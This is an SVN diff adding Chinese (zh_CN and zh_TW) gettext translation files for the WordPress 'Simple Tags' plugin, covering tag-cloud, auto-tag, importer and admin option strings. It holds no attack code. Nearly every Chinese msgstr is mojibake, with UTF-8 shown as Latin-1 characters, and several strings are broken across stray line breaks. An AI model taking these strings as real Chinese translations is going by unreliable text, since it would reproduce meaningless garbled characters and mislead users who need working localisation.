+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:255
+msgid "Your most used tags in cloud format with dynamic color and many options"
+msgstr "ä»¥æ ç­Ÿäºåœ¢åŒæŸç€ºæåžžçšçæ ç­ŸïŒæå€§ééé¡¹ïŒå¯è®Ÿçœ®æžåè²"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:57
+msgid "Import Embedded Tags"
+msgstr "å¯Œå
+¥å
+åµæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:58
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "è¿äºæ­¥éª€å¯èœèŠè±äžå åéæ¶éŽïŒè¿åå³äºæšçæ°æ®åºå€§å°ãè¯·çšå
+·èå¿ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:59
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "è®¿é® <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">æä»¶äž»é¡µ</a> ä»¥æ¥çè¯Šæ
+ãåŠææšåç°ä»»äœ Bug æææŽå¥œçäž»æïŒè¯· <a href=\"mailto:amaury@wordpress-fr.net\">äžæèç³»</a> ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:68
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr "æšå¥œïŒè¿å°äœ¿çš WordPress åçæ ç­Ÿç³»ç»æå
+åµæ ç­Ÿå¯Œå
+¥å°åå®¢äž­ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:69
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "äžºäºéåºæäºâæ ç­Ÿçäººâçåºå€§æ°æ®åºïŒæä»¬åå€äºåäžªæ­¥éª€çè¿çšæ¥åž®å©æšæé€äœ¿çšå
+åµæ ç­Ÿçæ¶ä¹ ãåªé¡»äžè·¯ç¹å»ïŒå°±å¯ä»¥å®æäºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:70
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "äžèŠç¯ç³æ¶ - æ­£åŒåŒå§ä¹åè¯·å€ä»œäœ çæ°æ®åºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:72
+msgid "Step 1 &raquo;"
+msgstr "æ­¥éª€ 1 &raquo;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:95
+msgid "Missing parameters in URL. (Start or End)"
+msgstr "URL äž­çŒºå°åæ°ãïŒèµ·å§æç»æïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:107
+msgid "Configure and add tags to posts&#8230;"
+msgstr "é
+çœ®å¹¶æ·»å æ ç­Ÿå°æ¥å¿äž­&#8230;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:114
+msgid "Start marker"
+msgstr "èµ·å§æ è®°"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:117
+msgid "End marker"
+msgstr "ç»ææ è®°"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:120
+msgid "Delete embedded tags once imported ?"
+msgstr "å¯Œå
+¥åå é€å
+åµæ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:122
+msgid "Import also embedded tags from page ?"
+msgstr "é¡ºåžŠå¯Œå
+¥é¡µé¢äž­çå
+åµæ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:125
+msgid "Start import &raquo;"
+msgstr "åŒå§å¯Œå
+¥ &raquo;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:180
+msgid "Done!"
+msgstr "å®æïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:182
+msgid "Step 2 &raquo;"
+msgstr "æ­¥éª€ 2 &raquo;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:199
+msgid "Import Complete!"
+msgstr "å¯Œå
+¥å®æïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:200
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "OKïŒæä»¬å¯¹è¿åäžªæ­¥éª€çè¿çšæäºç¹è°ïŒæšå·²ç»å®æäºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:201
+msgid "Now wasn&#8217;t that easy?"
+msgstr "åŸç®åïŒäžæ¯åïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:202
+msgid "You can manage tags now !"
+msgstr "æšç°åšå°±å¯ä»¥åŒå§ç®¡çæ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/extras/simple-tags.importer.php:242
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr "å¯Œå
+¥å
+åµæ ç­Ÿäžº WordPress åçæ ç­Ÿ"
+
+#~ msgid "Drafts|manage posts header"
+#~ msgstr "èçš¿|manage posts header"
+#~ msgid "Close"
+#~ msgstr "å
+³é­"
+#~ msgid "%s terms updated with success !"
+#~ msgstr "æåæŽæ° %s äžªæ ç­ŸïŒ"
+#~ msgid "Category"
+#~ msgstr "åç±»"
+#~ msgid "Simple Tags: Advanced Edit Terms"
+#~ msgstr "Simple TagsïŒæ ç­Ÿé«çº§çŒèŸ"
+#~ msgid ""
+#~ "Be careful with this page ! You can cause important damages, and lost all "
+#~ "tags and categories of your WordPress installation."
+#~ msgstr "è¯·å°å¿ïŒæšçæäœå¯èœäŒå¯ŒèŽäŒäž¢å€±æææ ç­Ÿååç±»ïŒ"
+#~ msgid "Taxonomy&hellip;"
+#~ msgstr "åç±»&hellip;"
+#~ msgid "Counter (descending)"
+#~ msgstr "æ°éïŒéåºïŒ"
+#~ msgid "Counter (ascending)"
+#~ msgstr "æ°éïŒååºïŒ"
+#~ msgid "Name (descending)"
+#~ msgstr "åç§°ïŒéåºïŒ"
+#~ msgid "Name (ascending)"
+#~ msgstr "åç§°ïŒååºïŒ"
+#~ msgid "ID (no editing)"
+#~ msgstr "ID ïŒäžå¯çŒèŸïŒ"
+#~ msgid "Name"
+#~ msgstr "åç§°"
+#~ msgid "Slug (unique)"
+#~ msgstr "çŒ©ç¥åïŒå¯äžïŒ"
+#~ msgid "Term group"
+#~ msgstr "æ ç­Ÿç»"
+#~ msgid "Taxonomy"
+#~ msgstr "åç±»"
+#~ msgid "Count"
+#~ msgstr "æ°é"
+#~ msgid "Parent"
+#~ msgstr "äžçº§"
+#~ msgid "Description"
+#~ msgstr "æè¿°"
+#~ msgid "Delete ?"
+#~ msgstr "å é€ïŒ"
+#~ msgid "Update all terms"
+#~ msgstr "æŽæ°æææ ç­Ÿ"
+#~ msgid "No terms to edit."
+#~ msgstr "æ²¡æå¯äŸçŒèŸæ ç­Ÿã"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-zh_TW.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-zh_TW.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-zh_TW.po	(revision 44)
@@ -0,0 +1,2373 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Simple Tags\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-18 01:42+0100\n"
+"PO-Revision-Date: 2008-12-19 17:03+0800\n"
+"Last-Translator: Neil Lin <neil.lch@gmail.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n==1?0:1;\n"
+"X-Poedit-Language: Chinese\n"
+"X-Poedit-Country: TAIWAN\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ./wp-plugins/\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: /simple-tags.php:48
+#: /simple-tags.php:52
+msgid "Simple Tags can't work with this WordPress version !"
+msgstr "Simple Tags èæ­€WordPressçæ¬äžçžå®¹ïŒ"
+
+#: /simple-tags.php:48
+#, php-format
+msgid "You must use <a href=\"%1$s\">Simple Tagging Plugin</a> for it to work."
+msgstr "æšå¿
+é äœ¿çš <a href=\"%1$s\">Simple Tagging Plugin</a> æèœéäœã"
+
+#: /2.3/simple-tags.client.php:87
+#: /2.3/simple-tags.client.php:555
+#: /2.5/simple-tags.client.php:86
+#: /2.5/simple-tags.client.php:554
+#: /2.7/simple-tags.client.php:86
+#: /2.7/simple-tags.client.php:554
+msgid "No related posts."
+msgstr "æ²æçžéæç« "
+
+#: /2.3/simple-tags.client.php:88
+#: /2.3/simple-tags.client.php:554
+#: /2.5/simple-tags.client.php:87
+#: /2.5/simple-tags.client.php:553
+#: /2.7/simple-tags.client.php:87
+#: /2.7/simple-tags.client.php:553
+msgid "<h4>Related posts</h4>"
+msgstr "<h4>çžéæç« </h4>"
+
+#: /2.3/simple-tags.client.php:89
+#: /2.3/simple-tags.client.php:557
+#: /2.5/simple-tags.client.php:88
+#: /2.5/simple-tags.client.php:556
+#: /2.7/simple-tags.client.php:88
+#: /2.7/simple-tags.client.php:556
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+
+#: /2.3/simple-tags.client.php:95
+#: /2.3/simple-tags.client.php:1222
+#: /2.5/simple-tags.client.php:94
+#: /2.5/simple-tags.client.php:1253
+#: /2.7/simple-tags.client.php:94
+#: /2.7/simple-tags.client.php:1253
+msgid "No tags."
+msgstr "æ²ææšç±€"
+
+#: /2.3/simple-tags.client.php:96
+#: /2.3/simple-tags.client.php:1224
+#: /2.5/simple-tags.client.php:95
+#: /2.5/simple-tags.client.php:1255
+#: /2.7/simple-tags.client.php:95
+#: /2.7/simple-tags.client.php:1255
+msgid "<h4>Tag Cloud</h4>"
+msgstr "<h4>æšç±€é²</h4>"
+
+#: /2.3/simple-tags.client.php:98
+#: /2.3/simple-tags.client.php:1223
+#: /2.5/simple-tags.client.php:97
+#: /2.5/simple-tags.client.php:1254
+#: /2.7/simple-tags.client.php:97
+#: /2.7/simple-tags.client.php:1254
+msgid "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:110
+#: /2.3/simple-tags.client.php:1439
+#: /2.5/simple-tags.client.php:109
+#: /2.5/simple-tags.client.php:1499
+#: /2.7/simple-tags.client.php:109
+#: /2.7/simple-tags.client.php:1499
+msgid "Tags: "
+msgstr "æšç±€ïŒ "
+
+#: /2.3/simple-tags.client.php:112
+#: /2.3/simple-tags.client.php:1446
+#: /2.5/simple-tags.client.php:1506
+#: /2.7/simple-tags.client.php:1506
+msgid "No tag for this post."
+msgstr "æ¬ç¯æç« æ²ææšç±€"
+
+#: /2.3/simple-tags.client.php:115
+#: /2.3/simple-tags.client.php:1445
+#: /2.5/simple-tags.client.php:114
+#: /2.7/simple-tags.client.php:114
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:123
+#: /2.3/simple-tags.client.php:874
+#: /2.5/simple-tags.client.php:122
+#: /2.5/simple-tags.client.php:904
+#: /2.7/simple-tags.client.php:122
+#: /2.7/simple-tags.client.php:904
+msgid "<h4>Related tags</h4>"
+msgstr "<h4>çžéæšç±€</h4>"
+
+#: /2.3/simple-tags.client.php:124
+#: /2.3/simple-tags.client.php:875
+#: /2.5/simple-tags.client.php:905
+#: /2.7/simple-tags.client.php:905
+msgid "No related tag found."
+msgstr "æŸäžå°çžéæšç±€ã"
+
+#: /2.3/simple-tags.client.php:125
+#: /2.5/simple-tags.client.php:124
+#: /2.7/simple-tags.client.php:124
+msgid "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:130
+#: /2.5/simple-tags.client.php:129
+#: /2.7/simple-tags.client.php:129
+msgid "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:272
+#: /2.5/simple-tags.client.php:266
+#: /2.7/simple-tags.client.php:266
+#, php-format
+msgid "Posts tagged with %s"
+msgstr "ææšç±€ %s çæç« "
+
+#: /2.3/simple-tags.client.php:786
+#: /2.5/simple-tags.client.php:825
+#: /2.7/simple-tags.client.php:825
+msgid "There is no excerpt because this is a protected post."
+msgstr "åä¿è­·çæç« äžæç¢çæèŠã"
+
+#: /2.3/simple-tags.client.php:876
+#: /2.5/simple-tags.client.php:906
+#: /2.7/simple-tags.client.php:906
+msgid "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:1078
+msgid "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:1685
+#: /2.5/simple-tags.client.php:1751
+#: /2.7/simple-tags.client.php:1751
+msgid "Invalid Taxonomy"
+msgstr "ç¡æçåé¡"
+
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.3/inc/simple-tags.admin.php:628
+#: /2.5/inc/simple-tags.admin.php:173
+#: /2.5/inc/simple-tags.admin.php:640
+#: /2.7/inc/simple-tags.admin.php:246
+#: /2.7/inc/simple-tags.admin.php:702
+msgid "Simple Tags: Manage Tags"
+msgstr "Simple Tags: ç®¡çæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.5/inc/simple-tags.admin.php:173
+#: /2.7/inc/simple-tags.admin.php:246
+msgid "Manage Tags"
+msgstr "ç®¡çæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.3/inc/simple-tags.admin.php:843
+#: /2.5/inc/simple-tags.admin.php:174
+#: /2.7/inc/simple-tags.admin.php:247
+msgid "Simple Tags: Mass Edit Tags"
+msgstr "Simple Tags: å€§éç·šèŒ¯æšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.5/inc/simple-tags.admin.php:174
+#: /2.7/inc/simple-tags.admin.php:247
+msgid "Mass Edit Tags"
+msgstr "å€§éç·šèŒ¯æšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.3/inc/simple-tags.admin.php:209
+#: /2.5/inc/simple-tags.admin.php:175
+#: /2.7/inc/simple-tags.admin.php:248
+msgid "Simple Tags: Auto Tags"
+msgstr "Simple Tags: èªåæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.5/inc/simple-tags.admin.php:175
+#: /2.5/inc/simple-tags.admin.php:232
+#: /2.7/inc/simple-tags.admin.php:248
+#: /2.7/inc/simple-tags.admin.php:305
+msgid "Auto Tags"
+msgstr "èªåæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.3/inc/simple-tags.admin.php:522
+#: /2.5/inc/simple-tags.admin.php:176
+#: /2.5/inc/simple-tags.admin.php:536
+#: /2.7/inc/simple-tags.admin.php:249
+#: /2.7/inc/simple-tags.admin.php:598
+msgid "Simple Tags: Options"
+msgstr "Simple Tags: èš­å®"
+
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.5/inc/simple-tags.admin.php:176
+#: /2.7/inc/simple-tags.admin.php:249
+msgid "Simple Tags"
+msgstr "Simple Tags"
+
+#: /2.3/inc/simple-tags.admin.php:194
+#: /2.5/inc/simple-tags.admin.php:218
+#: /2.7/inc/simple-tags.admin.php:291
+msgid "Auto tags options updated !"
+msgstr "èªåæšç±€çèš­å®å·²æŽæ°ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:210
+#: /2.3/inc/simple-tags.admin.php:523
+#: /2.3/inc/simple-tags.admin.php:629
+#: /2.3/inc/simple-tags.admin.php:844
+#: /2.5/inc/simple-tags.admin.php:641
+#: /2.7/inc/simple-tags.admin.php:703
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "æšå¯ä»¥èç±æèšª <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">å€æéŠé </a> ä»¥ç²åŸæŽå€èšæ¯ãåŠææšçŒçŸè­è²æå°æ¬å€ææå¥åŠçé»å­ïŒ <a href=\"mailto:amaury@wordpress-fr.net\">è«èæè¯çµ¡</a>ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:214
+#: /2.5/inc/simple-tags.admin.php:237
+#: /2.7/inc/simple-tags.admin.php:310
+msgid "Auto tags list"
+msgstr "èªåæšç±€æž
+å®"
+
+#: /2.3/inc/simple-tags.admin.php:215
+#: /2.5/inc/simple-tags.admin.php:238
+#: /2.7/inc/simple-tags.admin.php:311
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr "æ­€åèœå
+èš±WordPressåšå­æªçæåå°æŸæç« èæšé¡äž­çç¹å®æšç±€ïŒèäŸäŸèªªïŒç¶æšçæç« å
+§å®¹ææšé¡å«æ \"WordPress\"  éåå­ïŒèäžåšæšçèªåæšç±€æž
+å®äž­åå¥œæ \"wordpress\"  éåå­ïŒSimple Tags å°æèªåå° \"wordpress\"  å å
+¥æçºæ­€ç¯æç« çæšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:219
+#: /2.5/inc/simple-tags.admin.php:247
+#: /2.7/inc/simple-tags.admin.php:320
+msgid "Active Auto Tags."
+msgstr "åçšèªåæšç±€åèœ"
+
+#: /2.3/inc/simple-tags.admin.php:222
+#: /2.5/inc/simple-tags.admin.php:254
+#: /2.7/inc/simple-tags.admin.php:327
+msgid "Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)"
+msgstr "åšèªåæšç±€åèœäž­ä¹äœ¿çšæ¬å°æšç±€ãïŒè­ŠåïŒåŠææšæå€§éæšç±€çè©±ïŒéåèš­å®å¯èœæå¢å CPUçè² æïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:225
+#: /2.5/inc/simple-tags.admin.php:261
+#: /2.7/inc/simple-tags.admin.php:334
+msgid "Autotag only posts without tags."
+msgstr "åªå°æ²ææšç±€çæç« èªåå äžæšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:227
+msgid "Keywords list: (separated with a comma)"
+msgstr "ééµå­æž
+å®ïŒä»¥ååœ¢éèçžéïŒïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:233
+msgid "Update list &raquo;"
+msgstr "æŽæ°æž
+å® &raquo;"
+
+#: /2.3/inc/simple-tags.admin.php:236
+#: /2.5/inc/simple-tags.admin.php:277
+#: /2.7/inc/simple-tags.admin.php:349
+msgid "Auto tags old content"
+msgstr "èªåå å
+¥æšç±€è³èæç« "
+
+#: /2.3/inc/simple-tags.admin.php:237
+#: /2.5/inc/simple-tags.admin.php:278
+#: /2.7/inc/simple-tags.admin.php:350
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
+msgstr "Simple Tags å¯ä»¥åæå°æšç±€å å
+¥å°ææç¶²èªçŸå­çæç« äž­ïŒæ­€åèœäœ¿çšäžè¿°çèªåæšç±€æž
+å®é²è¡å å
+¥çåäœã"
+
+#: /2.3/inc/simple-tags.admin.php:238
+msgid "Auto tags all content"
+msgstr "èªåå°ææçæç« å äžæšç±€"
+
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:303
+#: /2.7/inc/simple-tags.admin.php:375
+#: /extras/simple-tags.importer.php:167
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr "åŠææšççèŠœåšæ²æèªåçéå§èŒå
+¥äžäžé ïŒè«æäžäžéåé£çµïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:303
+#: /2.7/inc/simple-tags.admin.php:375
+#: /extras/simple-tags.importer.php:167
+msgid "Next content"
+msgstr "äžäžæ­¥"
+
+#: /2.3/inc/simple-tags.admin.php:271
+msgid "All done!"
+msgstr "å
+šéšæå®ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:287
+msgid "Include page in tag search:"
+msgstr "å°åé åå
+¥æšç±€æå°äž­ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:288
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr "éèŠå
+éåãå°åé å å
+¥æšç±€ç®¡çã åèœ"
+
+#: /2.3/inc/simple-tags.admin.php:289
+#: /2.5/inc/simple-tags.admin.php:334
+#: /2.7/inc/simple-tags.admin.php:406
+msgid "Allow tag cloud in post/page content:"
+msgstr "å
+èš±åšæç« /åé å
+§å®¹äž­é¡¯ç€ºæšç±€é²ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:290
+#: /2.5/inc/simple-tags.admin.php:335
+#: /2.7/inc/simple-tags.admin.php:407
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr "åŸéžæ­€éžé 
+å°å
+èš± Wordpress åšé¡¯ç€ºæç« æå°æŸæšç±€é²æšèš <code>&lt;!--st_tag_cloud--&gt;</code> ïŒWP æå°æ­€æšèšæ¿æçºæšç±€é²ã"
+
+#: /2.3/inc/simple-tags.admin.php:291
+#: /2.5/inc/simple-tags.admin.php:336
+#: /2.7/inc/simple-tags.admin.php:408
+msgid "Active auto link tags into post content:"
+msgstr "èªåå°æç« äž­çæšç±€å äžé£çµïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:292
+#: /2.5/inc/simple-tags.admin.php:337
+#: /2.7/inc/simple-tags.admin.php:409
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr "äŸåŠïŒæšæäžåæšç±€æ¯ \"WordPress\" ïŒèäžæšçæç« äž­å«æ \"wordpress\" éåå­ïŒæ­€åèœå°ææ \"wordpress\"  æ¿ææ \"wordpress\"  æšç±€é çé£çµ(http://myblog.net/tag/wordpress/)"
+
+#: /2.3/inc/simple-tags.admin.php:293
+#: /2.5/inc/simple-tags.admin.php:338
+#: /2.7/inc/simple-tags.admin.php:410
+msgid "Min usage for auto link tags:"
+msgstr "èªåé£çµæšç±€çæå°æžéïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:294
+#: /2.5/inc/simple-tags.admin.php:339
+#: /2.7/inc/simple-tags.admin.php:411
+msgid "This parameter allows to fix a minimal value of use of tags. Default: 1."
+msgstr "æ­€åæžå¯ä»¥æå®æšç±€äœ¿çšæžçæå°åŒïŒé èš­ïŒ1ïŒè­¯èš»ïŒé èš­åŒçº1æïŒä¿æãåªèŠæææšç±€è¢«äœ¿çšéäžæ¬¡ïŒç³»çµ±å°±æèªåå°æç« äž­çæšç±€å»ºç«æšç±€é çé£çµãïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:295
+#: /2.5/inc/simple-tags.admin.php:340
+#: /2.7/inc/simple-tags.admin.php:412
+msgid "Ignore case for auto link feature ?"
+msgstr "åšèªåé£çµåèœäž­å¿œç¥å€§å°å¯«ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:296
+#: /2.5/inc/simple-tags.admin.php:341
+#: /2.7/inc/simple-tags.admin.php:413
+msgid "Example: If you ignore case, auto link feature will replace the word \"wordpress\" by the tag link \"WordPress\"."
+msgstr "äŸåŠïŒåŠææšéžæå¿œç¥å€§å°å¯«ïŒèªåé£çµåèœå°æçš \"WordPress\" éåæšç±€é£çµäŸåä»£ \"wordpress\" ã"
+
+#: /2.3/inc/simple-tags.admin.php:297
+#: /2.5/inc/simple-tags.admin.php:342
+#: /2.7/inc/simple-tags.admin.php:414
+msgid "Add the rel=\"nofollow\" on each tags link ?"
+msgstr "åšæ¯åæšç±€é£çµäž­å å
+¥ rel=\"nofollow\" åæžïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:298
+#: /2.5/inc/simple-tags.admin.php:343
+#: /2.7/inc/simple-tags.admin.php:415
+msgid "Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index."
+msgstr "Nofollowæ¯äžé 
+éæšæºåçHTMLåæžïŒéåžžçšäŸåç¥æå°åŒæäžèŠå°è¶
+é£çµèŠçºåœ±é¿é£çµç®æšåšæå°åŒæçŽ¢åŒæè¡çäŸæã"
+
+#: /2.3/inc/simple-tags.admin.php:301
+msgid "Add page in tags management:"
+msgstr "å°åé å å
+¥æšç±€ç®¡çïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:302
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr "åšåé ç·šèŒ¯é é¢å¢å æšç±€èŒžå
+¥åïŒä»¥åæç« æšç±€åèœïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:303
+#: /2.5/inc/simple-tags.admin.php:346
+msgid "Activate click tags feature:"
+msgstr "åçšé»éžæšç±€åèœïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:304
+#: /2.5/inc/simple-tags.admin.php:347
+msgid "This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post."
+msgstr "æ­€åèœå°æå¢å äžåé£çµïŒå¯ä»¥çšäŸé¡¯ç€ºè³æåº«è£¡ææçæšç±€ïŒæ¥èæšå¯ä»¥ééé»éžçæ¹åŒåšæç« äž­æ°å¢æšç±€ã"
+
+#: /2.3/inc/simple-tags.admin.php:305
+#: /2.5/inc/simple-tags.admin.php:348
+msgid "Activate autocompletion feature:"
+msgstr "åçšèªåå®æåèœïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:306
+#: /2.5/inc/simple-tags.admin.php:349
+msgid "This feature displays a visual help allowing to enter tags more easily."
+msgstr "åçšæ­€åèœå°æé¡¯ç€ºèŠèŠºåçåå©ïŒè®èŒžå
+¥æšç±€æŽå å®¹æã"
+
+#: /2.3/inc/simple-tags.admin.php:307
+#: /2.5/inc/simple-tags.admin.php:350
+msgid "Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+msgstr "åçšå»ºè­°æšç±€åèœïŒïŒYahoo! Term Extraction API, Tag The Net, æ¬å°è³æåº«ïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:308
+#: /2.5/inc/simple-tags.admin.php:351
+msgid "This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)"
+msgstr "æ­€åèœå°æå¢å äžåæ¹æ¡è®æšå¯ä»¥ç²åå»ºè­°æšç±€ïŒéäºæšç±€æ¯ç¶éæç« å
+§å®¹åå€éäŸæºçæšç±€æ¯å°åŸç¢ççãïŒå€éšåå
+§éšïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:311
+#: /2.5/inc/simple-tags.admin.php:354
+#: /2.7/inc/simple-tags.admin.php:418
+msgid "Automatically include in header:"
+msgstr "èªåå å
+¥è³é éŠïŒ"
+
+#: /2.3/inc/simple-tags.admin.php:312
